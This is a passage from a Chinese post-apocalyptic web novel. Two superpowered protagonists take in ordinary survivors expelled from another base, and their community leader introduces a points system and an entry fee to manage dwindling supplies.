正好中午的时候因为光顾着思考怎么告诉于檬坏消息……他们两个彻底忘了车后备箱里的蔬果，没存放到物资处去，还在后备箱里放着，现在倒是正好了。 “老爷子虽然不肯来，但是人很好，这些是我们拿其他物资和他交换的，一会儿会放进仓库。” 陆燃很清楚，如果他不讲清楚老爷子人来不来海岸小区都一样，他不肯来他们也一样能和他交换资源，总有人会钻着“得开条件把人搞来”或者更干脆的“把人搞来”这个念头进牛角尖。 对他来说只是一句话的事，却能防住一些人真的闲得没事干去骚扰老爷子，这句话说一下也无妨。 “天哪！居然是真的！” 人群里传来阵阵惊呼与倒吸凉气的声音，虽然得到了陆燃和江朗的口头肯定，但其实很多人依旧觉得所谓的植物系异能者怎么可能那么牛逼，一定是昨天刚来的那个大嘴巴吹牛的，这年头吹牛谁不会啊。 但是当他们真的见到这满后备箱的蔬果的时候，所有的怀疑都烟消云散了！ 第77章 第 77 章 求助者们（上） “我去！这快比我们小区这个月整个月种的菜都多了！小江啊, 你能帮着问问这位老爷子他种葱和大蒜和韭菜不？” 他们俩刚要去吃饭，身后就传来了这么一道声音。 江朗一瞬间有些黑线，但是感觉也许问问也无妨, 没准老爷子的异能使用范围比他想的广呢，于是就答应了下来。 “好……好, 明天去问问。” “砰！” 陆燃已经干脆地把后备箱关上了, 自己上了驾驶座，招手，江朗麻溜地跳上了副驾，然后他直接往地下车库开去了。 不过现在没人介意这一点了, 大伙都沉浸在有新鲜蔬果来源了这一喜悦中。 接下来就没什么事了, 吃完晚饭, 他们好好休息了一晚上。 一觉睡醒, 江朗感觉自己又复活了。 他起床给自己倒了杯水，然后安静地坐在床头等陆燃醒过来。 八点整, 陆燃准点地睁开眼睛, 就看见江朗眼巴巴地坐在床头看着他。 他随手一挥，江朗手里那杯水下面就多出了一团火苗, 然后他接着闭着眼睛开始半梦半睡。 加热了几秒, 他顺手收回火苗。 他已经是熟练工了，对于要花多久将江朗手里那杯水隔着玻璃加热到他刚好可以泡奶茶而且泡完基本可以直接喝的温度, 陆燃已经可以精确到毫秒了。 这是这几天他们每天早上的例行公事。 原因是江朗背包里的可乐日渐减少, 他决定要省着喝, 所以开始喝小区给发的袋装奶茶了。 陆燃当完烤火的, 又睡了个回笼觉，然后起床。 该“上班”了。 先开车去小池村问了下老爷子能不能中葱姜蒜，老爷子表示, 只要是个能催生的种子就行，于是两人回程的时候干脆地去和张老师打了报告，申请了一批种子出来。 然后下午又回了趟小池村，把种子交给了老爷子。 接下来就是换个方向继续搜救了。 他们一开始选择河镇方向的理由显而易见，因为于檬妈妈在河镇，现在没什么理由了，两人就随便挑了个方向出发。 接下来的几天，就一直在不同方向中奔波。 大约一个月后，陆燃和江朗一人叼着一个葱油饼下了楼——有老爷子催生葱姜蒜后，海岸小区终于实现了调味品自由，而阿婶是个做葱油饼的好手，据说她年轻的时候就是靠摆摊卖葱油饼起家的，所以他们现在已经过上了葱油饼自由的日子。 现在海岸小区唯一的缺点就只剩下了新鲜肉类不好找，江朗琢磨着……不知道能不能找到什么异能是催熟猪仔的异能者。 “早啊！” 下楼的时候，正好遇上他们这层楼的一个自来熟住户，因为对方有每天下楼锻炼的习惯，所以时不时就会在门口撞上陆燃江朗两人。 “找……早！”江朗叼着葱油饼，一时口齿不清，连忙把饼拿在手上然后打了个招呼。 陆燃比较懒，直接挥了挥手就算打招呼了。 两个人走到小区门口的时候，嘴巴里的葱油饼也差不多吃完了，正好在门口的垃圾箱丢掉塑料袋。 突然间，陆燃抬起头： “有声音。” 江朗迷茫地抬头：“什么声音？” 他一边抬头一边把听觉拉满，然后他听到了陆燃所说的声音，一时间，江朗的神色严肃了起来。 不管是什么，那必然是一个群体. 一片漆黑中，他们朝前走，朝前走。 真的会有这种地方吗？ 他们一起听的那个老爷子说的话。 “他们说他们在Q市有个小区，小区的秩序保持得很好，虽然没自来水也没电，但除此以外，大家都像末日前一样生活着。” “什么？为什么普通人不能进小区？” “如果你们需要的话，也可以在附近找个地方住一下，他们虽然最近不常来拿新鲜蔬菜，但是我估计再过一周他们就该来换菜了，那时候他们或许能把你们带回去。” 他们还记得自己听到这段话时候的感受，非要说的话，那是一种明明耳朵把每个字都听进去了，但就是没法理解的感觉。 如果有建得那么好的基地的话，为什么会允许普通人进入？ 毕竟，就连他们那个勉强能叫基地的基地，都为了少养几张没用的嘴巴把他们赶出来了。 会是骗子吗？但是他们有什么值得骗的呢？ 而且那个老爷子是个好人，拿了一些蔬菜给他们来分，还给他们指了镇上的超市在哪。 超市里的东西大半都被搬空了。 他们算了一下，如果按那个老爷子所说，那个小区的人一周后过来，这里的物资可能不太够他们撑过一周，他们活下来的人太多了。 哈哈，其实本来没想到能活下来那么多人的，最开始的时候，大家都以为刚离开基地后没多久自己应该就要死了，毕竟外面那么多怪物……而他们这些人，都是没异能的人，虽然捡了些武器，但是，谁都知道，试图用普通的武器去攻击这些怪物，很难获胜，更何况，他们只要被怪物伤到，就没机会了。 但是没想到的是，从基地被赶出来后一路回到湾镇，路上居然没遇到几只怪物，而且都是能被他们合力消除的怪物，虽然还是损失了几个人，但比起他们一开始预想的情况，已经好太多太多了。 真正有了活下来的机会后，他们这些人才开始认真思考怎么才能活下来。 湾镇没多少剩的物资，毕竟当初都被搬走了，所以他们没在湾镇久留，他们记得河镇有三家大型超市，虽然路是远了点，但是值得一试。 那之后他们一路向前，愈发觉得自己好运又坏运，好运在一路上几乎没遇到什么怪物，他们居然真的大部分人都活了下来，远超他们一开始预估的时间。 坏运在每个村或镇上的超市都像是被扫荡过，基本不够他们这么多人吃太久的，这时候，活下来的人太多了反倒成了劣势，哈哈。 当然他们现在知道了，据那位老爷子说，这是因为Q市那两位异能者来救人的时候顺便清理了周围的所有怪物，也顺便收走了大部分物资。 他们之所以会努力相信海岸小区这个听起来近乎是天方夜谭的故事，也是因为他们确实实打实地走过了那么多地方都没怎么见到怪物，这侧面佐证了老爷子的话的可信度…… 不过那时候他们还不知道为什么会这样，只是在心底默默感激着自己的好运，并且抱着多活一天就是多赚了一天的，心态打包带上了超市里剩余的物资，继续向前。 他们朝着Q市的方向走，虽然不知道能不能到达Q市，但是至少Q市有足够多的超市，如果他们能到达Q市的话，或许就有机会安定一段时间了。 就这样一直走啊走，不知过了多久，他们见到了一副奇妙的景象。 仅仅隔着一道围栏，他们看见了一片菜地。 菜地里种着各式各样的蔬菜甚至还有水果，青翠欲滴不说，最重要的是它们看上去一点攻击性都没有，是真的菜，而不是怪物菜。 那围栏上有锁，但是锁显然拦不住激动的人群，他们立刻扑了上去，试图拿铁棍把锁砸开。 第一次攻击后，锁立刻有松动，但他们还来不及高兴，就惊恐地发现自己被从地底钻出来的古怪植物卷了起来。 “我就说不可能有没变成怪物的菜！那些肯定是诱饵！这些才是本体！” 被巨大的豆茎卷到空中后，他们此起彼伏地发出了后悔的尖叫与呼喊。 然后一个看上去文文气气的老爷子从院子里走了出来。 “不好意思，这里有人住。” 然后他们才反应过来，他们不是遇上了怪物，而是试图闯入一个异能者的家。 他们脸上齐齐闪过了恐惧的神色。 比起异能者，他们宁可自己是落在了怪物手中。 至少怪物没什么神智，会干脆利落地杀了他们。 而异能者……而异能者！ 他们居然胆敢冒犯一个如此强大的异能者，他们不光会死得很惨，在死之前绝对会被折磨得更惨！ 一时间，很多人眼中闪过了绝望的神色。 但很快，那些将他们卷起的植物根茎很快就又将他们放了下来，他们下意识地聚在一起发抖，他们不知道这个异能者想要怎么折磨他们，他们知道聚集起来是没用的，甚至可能更糟糕，但本能还是让他们想要在此刻抱团。 但是那个异能者没杀他们也没折磨他们，反而问他们：“你们是想吃这些菜吗？下次直接敲门问我要就可以了好吗？不要撬门，我不想换把锁。” 那之后他们吃了末世来临后最好的一顿，还听到了更多令他们震撼的消息——Q市那个小区的存在。 小池村仅有的一个超市里剩下的物资不够他们全部人撑一周的，虽然那个文气十足的老爷子说他们可以随时去他地方蹭饭，但是他们还是觉得这样不好。 占一个异能者的便宜，或许他现在觉得没什么，但时间久了，保不准哪天他就终于发现自己的善心根本得不到回报，他们这些废物根本什么都没法为他做，然后那时候他就会很生气了。 所以他们快速进行了一次内部会议，青壮们前往Q市求援，剩下的人留在这里，留下的人少而且都是老人小孩的话，或许偶尔去问那位老爷子讨点吃的他不会太介意。 于是他们踏上了前往Q市的路。 Q市其实不远，两天的脚程罢了。 但或许是因为生出了希望，所以这两天的路显得好远好远。 每一分每一秒的跋涉，都显得比之前漫长，因为他们脑海中不停地在冒出同样一个问题—— 那样的地方，真的存在吗？ 真的存在一个，不排斥普通人，异能者和普通人都能拥有正常物资的地方吗？ 他们很努力地保留着胸中的希望。 只是一想到曾经见过的那些异能者……他们心中的希望火苗就不禁摇晃了一下。 现在只能信，除了相信以外，别无它法. 江朗听着这一大群的脚步声，脑海中瞬间闪过了众多丧尸围城的电影场面。 海岸小区有点命途多舛啊……明明他们清污染物已经清得够勤快了，偶尔有点漏网之鱼也就算了，怎么回回都是成群结队地来。 江朗严肃地转向陆燃，朝他点了点头。 两个人朝着那拖沓但又某种意义上极其整齐的脚步声而去了。 快速攀着墙壁前行，两个人跃上附近的高楼楼顶，朝脚步声来源望去。 然后他们就发现。 不是怪物。 来的不是怪物，而是一群人。 一群神态疲惫衣物破旧的人。 他们以团体行动，有明显的队形，基本可以确保各个方向都有人在观察是否会有污染物出现。 江朗和陆燃立刻俯冲了下去。 他俩降落在这群人面前，还没来得及开口说话，就看见对面一个个两眼放光： “你们就是Q市的异能者吗？” 第78章 第 78 章 求助者们（下） 陆燃和江朗对视一眼, 虽然不知道他们是从哪里听说他们的，但还是简短地给出了肯定的回答： “是。” 闻言，带头的几人无不又哭又笑, 眼泪从他们干瘪的眼眶里流了下来，好半晌才有人突然想起来问下一个问题： “请问, 我们听人说, 你们这里的幸存者基地，收普通人，是真的吗？” 陆燃：“是。” 然后他琢磨了一下这句话，他们自己有基地？ “居然是真的……” 江朗：“你们是从哪里来的？” “湾镇。” 陆燃再次和江朗对视了一眼, 湾镇他们之前去过, 就是那个诡异的周围什么活人都没有的镇子, 倒是解答了他们之前的迷惑, 如果湾镇有自发形成的幸存者聚集地，而且往奇怪的地方躲了的话, 那他们当时过去时遇到的情况倒是有解释了。 “当时……就是什么都变了的那天, 我们几个村为求自保联合起来打了出去，村里能吃的东西不多, 本来就是种的养的活物, 基本都变怪物了，带着干粮到了湾镇, 镇上的人说他们后山有座以前修的防空洞, 我们可以带上东西去那躲着, 然后一开始还挺好的, 年轻力壮的人轮流值班守洞口，基本也能和那些怪物打个有来有回，但是后面就有人发现, 如果没有异能的人被怪物伤到了，基本睡半天起来就变成怪物了。” “等于说没异能的人就没用了，因为不能去守洞口的话等于就是养了群吃白饭的，所以，大家最后决定把没异能的人都赶走。” 江朗对对方的描述并不惊讶，这种事他上辈子就见了太多次，异能者觉醒异能后基本就不把自己当普通人看了，对普通人的同情心会降到远比从前低的水平，更何况还是这种有明显的物资冲突的情况。 上一世大部分基地都是如此，异能者优先且和普通人隔阂甚重，异能者觉得普通人除了拿来泄欲或者当奴隶以外毫无用处，不折磨他们都对不起自己让出的物资，像这些人所说的这样光是被赶走，可能都还是因为现在末日刚来，一些人还人性未泯……他从前不爱在各大基地逗留太久，有一部分就是这个原因，他宁可在野外和污染物作伴，也不想不得不天天看着这种事。 不如说，张老师现在建的这个海岸小区基地才是异类中的异类。 但他不惊讶却不代表他已经接受了这种事，明明是见过很多次的事，他依旧听得直皱眉。 陆燃倒是没什么感觉。 策略上看，一个全异能者的基地当然要比异能者普通人掺半的基地好维护。 张老师能搞定一个稳定的异能者普通人混居地是建立在她一个人的实力就可以压住附近所有污染物的前提下的，剩下的那点漏网之鱼也只需要交给普通异能者就完事，反正异能者就算不慎出现被污染的伤口也不会发生感染，养回来就好，在这样的前提下，海岸小区才保持了稳定和和平。 但如果一个基地的实力甚至还需要普通人来维持安全，那么必然就会出现内部被感染成污染物的情况，策略上最优解就是把普通人全部赶走，至少能保证异能者的存活率，如果心软做不到，大概率结局就是全灭。 而且海岸小区和湾镇这个估计规模不大的基地相比，还有那么点不同。 Q市这边的污染物密度相对更高，最初普通异能者也占不到什么便宜，张老师之下众生平等，大家都是被救的，一个普通异能者也很难把自己和其他被救的普通人区分开来。 但湾镇的情况就不一样了，异能者会觉得自己是保护者，其他普通人是拖油瓶，自然而然地就会发生分化。 这是几乎不可避免的事。 不过，所谓策略最优解只是对个人或者一部分个体的，对于整个人类群体来说并非最优解。 人类进化出道德来就是为了维持整个人类群体的向后延续。 陆燃很快也推演出了江朗曾经亲眼见过的场景，不管是全异能者还是异能者普通人掺半的基地，如果没有张老师，或者像是他们给C市那群人安排的柳寒这样一个绝对中立且足够强大的异能者压着维护秩序，一点点的变动就足以让基地直接朝着奴隶制的方向演化过去。 异能者普通人皆有的基地，异能者会觉得普通人的生存权利是自己赋予的，而他们的物资，甚至是从自己本应有的份里抠出来的，所以肯定要找补回来。 而一个全异能者的基地，如果最后形成了一个稳定的规模，也拥有了稳定的物资来源，那么都是自认人上人的人，肯定会需要一些服务他们的“奴隶”，毕竟都是自认只需要战斗的人，谁乐意做那些闲事。 “我们本来是想去河镇，因为河镇上有三个连锁超市。” “然后到了河镇之后就发现超市里大部分东西都没了，然后我们就继续往前走，在小池村遇上了一个好心的老爷子，他请我们吃了很新鲜的瓜，还给告诉我们……Q市有个愿意收普通人的基地，这是真的吗？” “他说如果我们愿意的话，应该可以来Q市，这边有个叫海岸小区的基地，对普通人和异能者一个待遇，普通人可以种地作为贡献……而且他说有两个很强大的异能者把从Q市到河镇镇甚至更往前的一段路的污染物都清过了，这，这就是说的你们对吧？” “然后虽然老爷子说我们可以在他那等你们一周后过去拿菜的时候再过来，但是我们觉得这样白吃白喝一周实在不安心，所以就想着，如果来Q市的路上怪物也被清理得差不多了的话，我们或许能一部分人主动过来求助……” 陆燃：“所以你们还有一部分人现在在小池村？” 领头的人猛地点了点头，眼中露出希冀的光芒，但又不敢直接说强大的异能者，您能不能将他们救回来…… 陆燃点点头：“好，我知道了，我们待会儿立刻去趟小池村。” 他干脆果决的语气让这些求助者懵了一下，他们有想过对方可能会答应他们的求援，但没想过对方会把他们的求援……当作是要务，他们原本以为，或许他们能抽空出来去趟小池村就已经算是很好很好了。 他们呆滞的时候，江朗先说话了： “我们先带你们去小区吧。” “哦……哦哦哦……好的。” 江朗和陆燃领着这批人回了海岸小区。 Q市确实被他们清理得很干净，但是时不时还是会有污染物冒出来，而且一般是比外部稍微难缠一点的污染物，没他们护送的话，说不好他们中途就要为一些小污染物缠斗许久甚至减员。 果然，回去的路上他们还真遇到了零星的小猫三两只的污染物，考虑到安全性，陆燃甚至没让它们靠近就直接击杀在了远处，这么一两个晶体捡不到也无所谓了。 他随意的击杀落在身后那群幸存者眼里却是无比震撼。 他们知道这两个异能者很强大，但是……但是……对方的强大还是远远超出了他们的想象。 而这种强大带来了一种微妙的恐慌。 ——这样强大的异能者，真的会愿意庇护他们吗？这对他有任何好处吗？ ——他们在湾镇遇见的那几个异能者，仅有他万分之一的实力就已经将自己视作了与他们普通人毫无相同之处的物种，而像这样随手一挥就能将一只怪物像蝼蚁一样杀死的人，看他们又会是什么样？难道不该是像神俯视蝼蚁一般吗？ ——这样的人真的会愿意庇护他们吗？ 有惊弓之鸟忍不住问出了口。 他的忧虑和惊恐倒是把江朗吓到了。 江朗吓得连连摆手：“我们从来不觉得谁是拖油瓶！天哪！” 他很努力地想解释，但是他越是费力解释，这些人脸上的困惑与恐慌就越重，似乎完全理解不了为什么强大的异能者要这么努力地对他们解释。 他们现在的脑子大概就像电脑在运行完全跑不通的代码一样吧…… 陆燃看江朗挣扎得费劲，其他人理解得也费劲，终于开口了：“那些人赶走你们只是因为他们不够强大，够强大的话养多少人都轻松，他们把你们赶走只是因为自身难保，而对于我们来说，保护你们只是顺手的事，不存在什么付出自然也不需要你们有多少回报，所以你们在怕什么？” 话糙理不糙，他直白的剖析和毫无同情心的话倒是比江朗八百句的安慰更有用，一群人脸上瞬间出现了安心的神色。 江朗：……orz好吧。 他们回到海岸小区的时候，张老师已经等在小区门口了。 刚刚在接上这群人的同时，陆燃就通过最近的金属给张老师传了讯。 张老师很快走了上来，大致了解了一下情况之后，忍不住叹了口气，虽然明白异能这个东西的存在就是很容易分化人，但是真的听到这样的情况发生，她还是忍不住有些叹息。 “我向你们保证，你们在这里会生活得很安全，我会尽力保证你们既不会被污染物伤害，也不会被人伤害，相信我，我们小区至今还维持着末日来临之前的秩序，我会尽力给每一个人都提供能安心生活的环境。” 张老师自带一种令人信服让人安心的光环，这些经历了无数艰辛才活了下来的普通人忍不住流下了眼泪。 陆燃则选在这个时间，靠近了张老师，轻声说了几句话。 “张老师，正好把小区的规则明明白白地定下来并公布吧。” “这些人刚好符合外来求助的条件，正好向大家明白解释以后的外来者需要赊欠入住，顺便还能把积分的事固定下来。” “现在就是最好的机会了，错过了这个时机的话，以后就很麻烦了。” 第79章 第 79 章 小区难管（一） 张老师一愣, 说实话，她都有些忘记她曾经定下过外来者需要缴纳“入住费”的规则了。 她一直默认那是很久很久以后才会遇到的事，毕竟目前为止, 除了陆燃和江朗，她就还没见过任何外来者。 而且这些人的故事有点太惨, 仅仅因为是普通人就被赶了出来, 哪怕他们一开始也是冒着生命危险守卫基地，甚至不得不亲手杀死异变的伙伴……最后却被毫不留情地赶走，这是她最害怕海岸小区变成的样子，以至于她下意识就只考虑了怎么让他们安心安顿下来, 别再担惊受怕。 但是……陆燃的话其实很对, 如果不趁着这个机会把规则彻底确定下来, 之后再对其他人征收准入费就难免有些双标了, 甚至会有人觉得不公平，虽然他们可怜是一回事, 但也难免后来的人会觉得会哭的孩子有奶吃, 觉得他们是卖可怜免掉了准入费，反倒更容易引发矛盾。 因此, 如果小区要长远地发展下去, 就必须在此刻先把规矩定下来，不管可不可怜, 让不让人同情, 都不能有任何例外和双标才行。 不光如此, 陆燃提出的另一点还要更重要些。 是的, 小区现在的物资确实还很多，甚至丰富到大家都可以舒舒服服地过着几乎接近末日前的生活。 但再丰富的物资，只消耗不生产也是会用完的, 一旦小区人口跨过某个临界点，她就不得不考虑这些资源几年内就会消耗殆尽的情况。 因此收支平衡里比起外来者的“入住费”更重要的还是小区居民们本身的积分制度。 这个积分制她核算了很久了，尽力在维持收支平衡和让大部分人不必太辛苦之间找到一个合适的支点。 差不多倒是已经做出来了，只是还没正式推行实施而已。 陆燃的提醒几乎精准地切中了最好的时机，最好的宣布这个积分制的时机确实就是第一批外来者来的时候。 因为，虽然小区里大部分人都是张老师救下来的，但是毕竟安安稳稳过了那么久了，他们很容易将目前的生活视作理所当然。 这时候突然跟他们宣布一个积分制，告诉他们以后的物资不是免费提供了，他们的劳动也不是义务劳动了，而是要变成多劳多得模式，虽然很合理，但总有人会心里不舒服，但是如果是在第一批外来者进入并需要交“入住费”的时候宣布这一点，他们就会好受很多了，毕竟他们只是因为被救得早而已，就能免费住在这，省下整整十个晶体呢——没异能的人哪有途径搞到晶体，换算成积分怎么也得认认真真种上大半年菜——这心里瞬间就平衡了。 可以说，陆燃这两句提醒虽然听上去稍显冷漠，但是这个年轻人对时机的选择堪称恐怖。 陆燃安静地看着张老师，他不知道对方会不会犹豫，张老师是个好人，好人就容易心软，但有些时候心软会引发坏结局，所以她需要一个旁观者给出冰冷但至少够准确的建议。 这里好像也就只剩他能做这个旁观者了。 张老师看了眼正逐渐围过来的小区居民，朝陆燃点了点头：“好，等你们把小池村剩下的人带来之后，我会一起宣布所有和积分相关的规定。” 陆燃点点头，他看了眼越来越多的围观群众，拉了一下江朗，示意他一块走人。 陆燃：“一人一辆？” 要救的人有点多，他们俩开一辆车过去不一定能把所有人都带回来。 江朗却摸着下巴陷入了沉思。 陆燃：“怎么说？” 江朗偶尔还是有点鬼点子。 江朗：“我记得客运站有完好的公交车？” 陆燃：“也行。” 这样他就又不用开车了，很好，但是…… “你会开公交车吗？” 江朗瞬间昂首挺胸：“交给我你就放心吧！我上一世老开来着！” 陆燃头上缓缓飘出一个问号：“我能问问到底是什么样的环境需要你经常开公交车吗？” 江朗：“就有些时候会接一些基地的运货任务啊！” 陆燃：“你就没别的更划算的任务可以接了吗？” 江朗：“运货任务比较困难，回报又低嘛，我总不好意思跟其他人抢轻松的活做，谁叫我厉害呢！” 陆燃：…… 算了，不愧是他。 别说，江朗的公交车开得真的很稳当，稳当到陆燃直接靠着窗户睡着了。 “各位乘客！本车已到达终点站！请带好随身物品，从后门下车！” 陆燃迷迷糊糊地睁开眼，一瞬间还以为自己在初中的上学路上，那时候他总是要坐一个小时的公交去学校，车程太长了，路又颠簸，也不方便在车上看书，他就拿这段时间来睡觉，正好晚上可以少睡一个小时。 但是总感觉初中应该是很久之前的事了吧…… 而且这个声音听着也不太像以前在公交车上听到的电子声…… “这位乘客，到站了，再不下车我们要开回去了哦。” 陆燃彻底醒了过来，然后一脸无语地看着在他座位前一本正经地装乘务员的江朗：“……” “你好闲。” 江朗忍不住哈哈笑了两声：“谁让你睡得那么熟！我还以为你跟我一样变异之后都不怎么需要睡眠了呢，怎么睡这么香？” 陆燃一边下车一边耸了耸肩：“没事做，只能睡觉。” 其实异变对他的睡眠造成的影响不大，他以前也是这样，本来就不需要多少睡眠时间，睡觉只是因为没事做或者觉得自己该睡觉了。 他们俩下车，和种瓜的老爷子打了个招呼，问清楚了那些幸存者在哪，顺便交换了这一次的物资，然后就再次开着公交往村里的超市去了。 他们把这些剩下的幸存者也带回了海岸小区，和张老师一起给他们一一安排了房间和临时的食物，确保不会人刚救回来就死掉，然后就去睡觉了。 第二天，他们叼着葱油饼下楼的时候，就发现小区的花园里已经聚集起了一堆人，窸窸窣窣地讨论着张老师是有什么事要宣布吗？居然这么正式…… 讨论的人群各自捧着刚出锅的早餐，有在吃热气腾腾的包子的，有在吃显然刚出锅的油条的，还有跟他们一样摊了饼的，甚至还有炸了年糕的。 陆燃默默看了一圈，不得不承认，海岸小区的人过得确实有点太奢靡了，这些食物本身还好，真正称得上浪费的是火柴和煤气，这两样才是用完了都不知道该去哪里找的，炸个年糕的时间，够不知道做多少菜的了。 把积分制拎上台面迫在眉睫，不然他和江朗就得把琢磨怎么制甲烷拎上日程了。 过了没多久，张老师出现了。 她看上去非常严肃。 原本人群中还有些嘈杂的声音，甚至还有笑闹着问张老师这么严肃是要干什么的，不过由于张老师当老师时候的积威犹在，她一板起脸来，就莫名有种下一秒就要点名的感觉。 她默默站了会儿，人群就自动安静了下来。 于是她开口了。 “昨天大家应该都看见了，有一批新的幸存者来到了小区，人数比较多，之后我们小区可能还会迎来更多的幸存者，甚至光是现在的人数，也已经达到了一个比较夸张的数目。” “我一开始并没有想到我们可以聚集起这么多人，在这个天翻地覆的世界里依旧偏安一隅，过着安稳的生活。” “但是这也导致了一个问题，我核算了一下，按最近大家支取物资的速度，再按我们现在的人数，我们当前的物资只够撑两年多的，这还是之后人数不再增长的前提下。” 张老师这句话一出，花园里的围观群众瞬间哗然，手里的包子油条都不香了。 说实话，他们确实是被安稳生活惯坏了，明明末日刚到来的时候，大家都过得很节省，别说热乎菜了，还有人拿几块饼干当一顿饭的，还是张老师说这样容易引起各种营养成分不足导致的毛病，他们才逐渐恢复稍微正常些的饮食，但是之后不一样了，地下车库的物资越堆越多，看上去就像永远用不完一样，陆燃和江朗的到来极大地扩展了小区能获取物资的范围，周围的村镇上的超市上的物资，只要不是太难吃的，全都被他们带了回来，然后再是那个可以催生新鲜蔬果的异能者老爷子。 他们已经很久没思考过物资可能会用完这件事了。 现在被张老师突然点出来，他们才猛然惊醒。 而且……两年？！居然只够两年的吗？！ 虽然末日刚来的时候，估计都没人想过自己能活过两年，但是现在他们早就习惯按末世前的时间打算了…… “那我们怎么办呢？开始每人限额？” 人群中立刻有人举手提问。 陆燃一一观察着他们的表情，提出要不要限额的人，还有附和这个提议的人，脸上都是纯然的焦急与担忧，但还有另一些人，明显是一种有建议想提但又犹豫要怎么说出口的表情。 陆燃猜，他们大概是想说——那这样就别收留那些新人了呗，既然我们自己的物资都只够两年的，还管外人做什么？！ 不过他们这话没法说出口的，毕竟，虽然他们视自己为海岸小区的原始成员，但谁都知道，所谓的原始成员，也是张老师好心救回来的，而他们对张老师而言，和这些新来的幸存者并没有什么区别。 所以他们也只能想想了。 “机械固定的限额虽然能解决问题，但也缺乏灵活性。” 张老师朝着其中一个举手提问的年轻人说道： “所以我们采取另一种方式，计分制。” “我把大家能为小区做的事都换算成了积分，比如护卫小区，尤其是夜间的轮岗，比如打理菜地，虽然我们现在有林先生供给的新鲜蔬果，不过我们自己的菜地也不能荒废，现在小区里能种地的花园加起来就两分田，我打算之后把和隔壁百合小区的围墙打通，直接把那边的绿化带全部改成田，改田一分地计10积分，种田一分地计5积分，这样大家用自己的赚来的积分去换取物资，就跟以前上班的时候拿钱换生活物资差不多，相对来说就会精打细算一点，你们觉得呢？” “我觉得张老师说得很有道理！”立刻就有人站出来应和，“有些年轻人实在是太浪费了，哪有这样用东西的，简直就当自己还活在以前一样，一点都不知道节省，简直不记痛！” “咳咳，我设立这个积分机制不是为了指责任何人。”张老师连忙打断了这位中老年人的愤慨陈词，“如果可以的话，我也希望大家都能过着随意取用物资的日子，只不过现实确实是资源有限，我希望能以一种更温和有效的方式维持资源的可持续性而已。” 然后她接着说：“除此以外，还有个新规定，其实也是之前定下来的，但是忘记通知大家了，我们小区以后凡是外来人员，进入小区进行居住都需要赊欠10枚晶体——换算一下就是200小区积分的入住费，包括昨天来向我们求助的求助者们。” 张老师这番话确实起到了她和陆燃一开始就想好的效果，原本小区的居民们还有点不高兴自己现在的处境，甚至有些埋怨昨天那些人，知道他们可怜归知道，但他们可是因为他们的存在就要省吃俭用了啊……不爽是肯定的，但是张老师现在这句话一出，他们瞬间又觉得有些同情这些人了……明明已经够惨了，只是因为没异能而已就被赶了出来，而且说白了，他们要是一开始没那么积极自救，跟那些后来反手赶走他们的异能者们一起组建基地，而是老实就在村子里找个地方呆着躲着的话，没准就跟他们一样顺手被救回来了，那样也不用缴纳这10晶体了，那可是10晶体啊！ 算算刚刚种地算多少积分来着……换算一下就是得白种接近半年地，嗯，他们赚大了。 唉，明明也都是可怜人，唉，张老师真是太大公无私了，不愧是张老师。 于是眨眼间，这些人就完成了自我安慰，一时间都不觉得自己从今天起要开始在末世后重启打工生活有多难以接受了。 “然后小区能换的物资物价我已经考虑好了，大家看看，觉得怎么样？” 张老师给足了他们思考时间，此时终于重新开口， 她一边说一边转身将三张纸贴在了公告板上，第一张很简单，就是入住费10晶体=200积分。 第二张复杂点，大概是做什么工作能换取积分，如果以种地为基准线的话，后勤工作的积分更低一些，体力活则稍高一些，当然最高的还是保安，直接按轮计算，可惜能拿这积分的注定也是少数，Q市这个不大的城市，哪怕算上周边的乡镇，他们几个人掘地三尺也没掘出多少异能者来。 最后一张基本就是密密麻麻了，如果不是张老师写字功底好，估计都难看清，上面列明了每项物资兑换所需的积分。 新鲜蔬果最高，其次是煤气罐，甚至不是按整罐换算，都是按半罐算，因为他们搜遍大半个Q市，大部分剩下的煤气罐都是用了一半的。 然后是瓶装水，虽然现在很多，但是还是得省着用，因为以后不知道还能不能找到相对无污染的水，找到了也得费劲提纯。 普通的速食食品相对来说倒是还好。 其余物资比如被子什么的更是便宜。 总体上看上去，海岸小区如果能一直这么维持下去，可以说是一个非常宜居的末日小区了。 “大家有什么意见吗？” 大伙围上去看了一下，瞬间觉得比自己一开始想象的生活那还是好太多了，只要勤勤恳恳种地，保持良好的生活质量不是难事，压根没有像一些人想象的要真正进入“末世生活”的情况。 于是气氛相对又松快了一些。 陆燃快速扫了一眼后两张纸，心里算了一下，大致算了一下一小区的居民一年内大概会获取多少积分，然后换东西会换多少，那么目前的资源确实至少撑得住几年，还行。 于是他举手说了点无关紧要的细节：“煤气用完了可以捡木柴烧火，大部分污染物是植物，可以把这些晒干了当柴烧，光捡晶体回来有点浪费，污染物尸体应该也可以计分。” 闻言，立刻有几个普通异能者感激地看了眼陆燃。 陆燃和江朗这种污染物论片区杀的人肯定懒得带污染物尸体回来，光挖晶体都够费劲了，所以他这条就是单纯为他们争取的——好人啊！ 张老师一想，觉得很对，立刻掏出笔往上添了一条。 有陆燃带头，其他人立刻集思广益了起来，虽然很多都是听起来就很扯淡的意见，但是敢提就是好的，反正张老师会把关。 一时间，小区的花园里陷入了激情讨论的汪洋中。 于是陆燃功成身退，和江朗一块出门打怪去了。 第80章 第 80 章 小区难管（二） 其实他们现在没什么事要做, 周边的村镇已经被他们都转悠过一圈了。 别说漏网的幸存者，漏网的蟑螂都不见得有几只。 现在的工作其实只剩下了满Q市巡逻。 甚至比起说是满Q市巡逻，杀那些野火烧不尽的污染物, 不如说就是出来逛逛——现在电脑都没得玩，宅家的日子不好过啊。 逛不了多久, 就到饭点了, 回去吃饭吧。 “今天去谁家吃饭来着？” 江朗挠着头回忆，没什么怪能杀的情况下，他的脑回路就回到了上学的时候——一空下来就琢磨着中午吃啥晚上吃啥。 “陈老师家里，你忘了吗？昨天刚把他拿来保存的胖头鱼还给他。” “哦！想起来了！” 江朗觉得自己也是太忙了, 居然连今天是陈老师这个川省人答应给他们做酸菜鱼的日子这种重大事件都能忘。 江朗擦了擦口水：“还是得末世初期就找个基地呆啊！想当初我混进基地的时候, 各基地别说煤气罐了, 能找到的铁锅都快用破了, 好不容易找到都是人的地方，还是一顿热乎饭吃不上……太悲伤了……” 江朗怀抱着对酸菜鱼的想象, 光速奔回了海岸小区。 陈老师住小区最靠门的第二栋, 他俩刚回小区，就闻到了一股子酸辣酸辣的味道, 这就是正宗酸菜鱼的香味啊！ 幸好陈老师是小区原始住户中的原始住户, 意思是他本来就住海岸小区，而不是被张老师救过来的, 所以这套房本来就是他的, 家里什么香料都有。 进了二栋之后, 还没来得及爬楼梯, 